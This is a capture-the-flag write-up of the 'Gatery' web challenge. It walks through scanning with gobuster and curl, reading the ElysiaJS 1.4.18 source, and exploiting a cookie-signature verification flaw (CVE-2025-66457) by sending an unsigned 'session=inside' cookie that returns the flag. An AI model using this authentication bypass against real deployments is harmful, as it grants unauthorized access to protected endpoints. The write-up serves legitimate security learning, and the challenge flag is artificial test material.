
Gatery
Introduction:
Lysa Harrowmere reaches Crownspire with proof that a trusted castle informant is selling patrol routes to the enemy. The information is being used to ambush messengers, delay supplies, and keep Stormbound’s allies divided. The only person who can act on the proof is inside the castle for a closed council, but Lysa’s name has been removed from the entry list and the guards have orders to admit no unscheduled visitors. If she waits, the council ends and the traitor disappears with the next route packet. If she speaks openly at the gate, the proof is seized before it reaches the right hands. Lysa must trick the guarded passage, get inside, and place the evidence with the one ally who can expose the leak before the enemy moves again.
Description:
The gate’s guards were enforcing a signed session cookie to keep out unscheduled visitors, but ElysiaJS 1.4.18 (CVE-2025-66457) never actually verified that signature, a logic bug left its “valid” flag permanently true. Handing the gate a forged, unsigned session=inside cookie was enough to bypass the checkpoint entirely.
NOTE: This was my first challenge in CA2026, and I was a bit eager to get my first flag, so within a few hours I turned from black-boxing to source code analysis.
Reconnaissance & Enumeration:
1┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
2└──╼ $whatweb 154.57.164.68:30995
3http://154.57.164.68:30995 [200 OK] Country[UNITED STATES][US], HTML5, HTTPServer[nginx/1.28.3], IP[154.57.164.68], Script[module], Title[Gatery], nginx[1.28.3]
4┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
5└──╼ $
6
7┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
8└──╼ $gobuster dir -u http://154.57.164.68:30995/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
9===============================================================
10Gobuster v3.6
11by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
12===============================================================
13[+] Url: http://154.57.164.68:30995/
14[+] Method: GET
15[+] Threads: 10
16[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
17[+] Negative Status codes: 404
18[+] User Agent: gobuster/3.6
19[+] Timeout: 10s
20===============================================================
21Starting gobuster in directory enumeration mode
22===============================================================
23
24Error: the server returns a status code that matches the provided options for non existing urls. http://154.57.164.68:30995/8adf8b57-2e02-49db-8a36-06c9c2b8eb97 => 200 (Length: 374). To continue please exclude
25the status code or the length
26
27┌─[✗]─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
28└──╼ $gobuster dir -u http://154.57.164.68:30995/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --exclude-length 374
29===============================================================
30Gobuster v3.6
31by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
32===============================================================
33[+] Url: http://154.57.164.68:30995/
34[+] Method: GET
35[+] Threads: 10
36[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
37[+] Negative Status codes: 404
38[+] Exclude Length: 374
39[+] User Agent: gobuster/3.6
40[+] Timeout: 10s
41===============================================================
42Starting gobuster in directory enumeration mode
43===============================================================
44/assets (Status: 301) [Size: 169] [--> http://154.57.164.68/assets/]
45/api (Status: 301) [Size: 169] [--> http://154.57.164.68/api/]
46Progress: 62281 / 62282 (100.00%)
47===============================================================
48Finished
49===============================================================
50┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
51└──╼ $
52
53┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
54└──╼ $gobuster dir -u http://154.57.164.68:30995/assets/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --exclude-length 374
55===============================================================
56Gobuster v3.6
57by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
58===============================================================
59[+] Url: http://154.57.164.68:30995/assets/
60[+] Method: GET
61[+] Threads: 10
62[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
63[+] Negative Status codes: 404
64[+] Exclude Length: 374
65[+] User Agent: gobuster/3.6
66[+] Timeout: 10s
67===============================================================
68Starting gobuster in directory enumeration mode
69===============================================================
70/css (Status: 301) [Size: 169] [--> http://154.57.164.68/assets/css/]
71/js (Status: 301) [Size: 169] [--> http://154.57.164.68/assets/js/]
72/img (Status: 301) [Size: 169] [--> http://154.57.164.68/assets/img/]
73Progress: 62281 / 62282 (100.00%)
74===============================================================
75Finished
76===============================================================
77┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
78└──╼ $
Fire up Burp and start fingerprinting:

Found /api/me and /api/login. I also tried to test for some basic sql injection but without luck.
Switched to interacting with curl.
1┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
2└──╼ $curl -i http://154.57.164.68:30995/
3HTTP/1.1 200 OK
4Server: nginx/1.28.3
5Date: Fri, 24 Jul 2026 13:43:11 GMT
6Content-Type: text/html
7Content-Length: 374
8Last-Modified: Thu, 16 Jul 2026 13:04:44 GMT
9Connection: keep-alive
10ETag: "6a58d6ec-176"
11Accept-Ranges: bytes
12
13<!doctype html>
14<html lang="en">
15<head>
16 <meta charset="UTF-8">
17 <meta name="viewport" content="width=device-width, initial-scale=1.0">
18 <title>Gatery</title>
19 <script type="module" crossorigin src="/assets/js/index-BcDa1MFc.js"></script>
20 <link rel="stylesheet" crossorigin href="/assets/css/index-D_RIeR81.css">
21</head>
22<body>
23 <div id="root"></div>
24</body>
25</html>
26┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
27└──╼ $
28
29┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
30└──╼ $curl -i http://154.57.164.68:30995/api/me
31HTTP/1.1 401 Unauthorized
32Server: nginx/1.28.3
33Date: Fri, 24 Jul 2026 13:53:27 GMT
34Content-Type: application/json
35Content-Length: 23
36Connection: keep-alive
37
38{"authenticated":false}
39
40┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
41└──╼ $
42
43┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
44└──╼ $curl -i http://154.57.164.68:30995/api/login
45HTTP/1.1 404 Not Found
46Server: nginx/1.28.3
47Date: Fri, 24 Jul 2026 13:53:47 GMT
48Content-Type: text/plain;charset=utf-8
49Content-Length: 9
50Connection: keep-alive
51
52NOT_FOUND
53
54┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
55└──╼ $
Lets look at the source code instead of black-boxing.
1┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
2└──╼ $unzip Gatery.zip
3Archive: Gatery.zip
4 creating: challenge/
5 creating: challenge/app/
6 inflating: challenge/app/package.json
7 inflating: challenge/app/index.ts
8 inflating: challenge/app/vite.config.ts
9 creating: challenge/app/client/
10 inflating: challenge/app/client/index.html
11 creating: challenge/app/client/public/
12 creating: challenge/app/client/public/assets/
13 creating: challenge/app/client/public/assets/css/
14extracting: challenge/app/client/public/assets/css/.gitkeep
15 creating: challenge/app/client/public/assets/js/
16extracting: challenge/app/client/public/assets/js/.gitkeep
17 creating: challenge/app/client/public/assets/img/
18 inflating: challenge/app/client/public/assets/img/gate-guardian-spritesheet.png
19 inflating: challenge/app/client/public/assets/img/medieval-castle-loop.mp3
20 inflating: challenge/app/client/public/assets/img/castle-gate-closed.png
21 inflating: challenge/app/client/public/assets/img/castle-gate-open.png
22 inflating: challenge/app/client/public/assets/img/castle-interior-background.png
23 inflating: challenge/app/client/public/assets/img/town-npcs-spritesheet.png
24 inflating: challenge/app/client/public/assets/img/player-lyra-spritesheet.png
25 creating: challenge/app/client/src/
26 inflating: challenge/app/client/src/styles.css
27 inflating: challenge/app/client/src/main.jsx
28 inflating: challenge/app/client/src/App.jsx
29 creating: challenge/config/
30 inflating: challenge/config/supervisord.conf
31 inflating: challenge/config/nginx.conf
32 inflating: challenge/Dockerfile
33extracting: challenge/flag.txt
34extracting: challenge/.gitignore
35 inflating: challenge/docker-compose.yml
36
In the package.json we see it runs with Elysia 1.4.18:
1"dependencies": {
2 "bcryptjs": "2.4.3",
3 "elysia": "1.4.18"
4 }
Exploit Elysia 1.4.18:
Elysia 1.4.18 has a CVE-2025-66457 vulnerability.
In index.ts we find the following:
1const app = new Elysia({
2 cookie: {
3 secrets: [sessionSecret],
4 sign: [sessionCookie]
5 }
6})
secrets is given as a array and session cookies needs to be signed.
When the secrets is given in a loop, the let decoded = true is set before the signature is checked. The loop that try to verify the signature never changes the decode back to false if the secret doesn’t match. This results in the “if (!decoded) throw InvalidCookieSignature” never being trigger if i craft a unsigned cookie value. It will be accepted even without knowing the sessionSecret.
If we look some more in the index.ts file we find the /api/flag:
1.post('/api/flag', ({ cookie: { session }, set }) => {
2 if (!session.value) {
3 set.status = 401
4 return { ok: false, message: 'Login required' }
5 }
6
7 if (session.value !== 'inside') {
8 set.status = 403
9 return { ok: false, message: 'Enter the castle first' }
10 }
11
12 return { ok: true, flag }
13 })
It only validates session.value and because the cookie verification is broken i should be able to send a unsigned cookie with the value inside and get a positive response back.
Lets try it:
1┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
2└──╼ $curl -i -X POST http://154.57.164.68:30995/api/flag \
3 -H "Cookie: session=inside"
4HTTP/1.1 200 OK
5Server: nginx/1.28.3
6Date: Fri, 24 Jul 2026 14:36:22 GMT
7Content-Type: application/json
8Content-Length: 82
9Connection: keep-alive
10
11{"ok":true,"flag":"HTB{w3lc0me_b3y0nd_th3_g4t3_d1387a5d19bb6e79d4dc274e7babdbbf}"}
12
13┌─[ballademageren@parrot]─[~/jutlandia/HTB_CA2026]
14└──╼ $
Booom!
Completion:
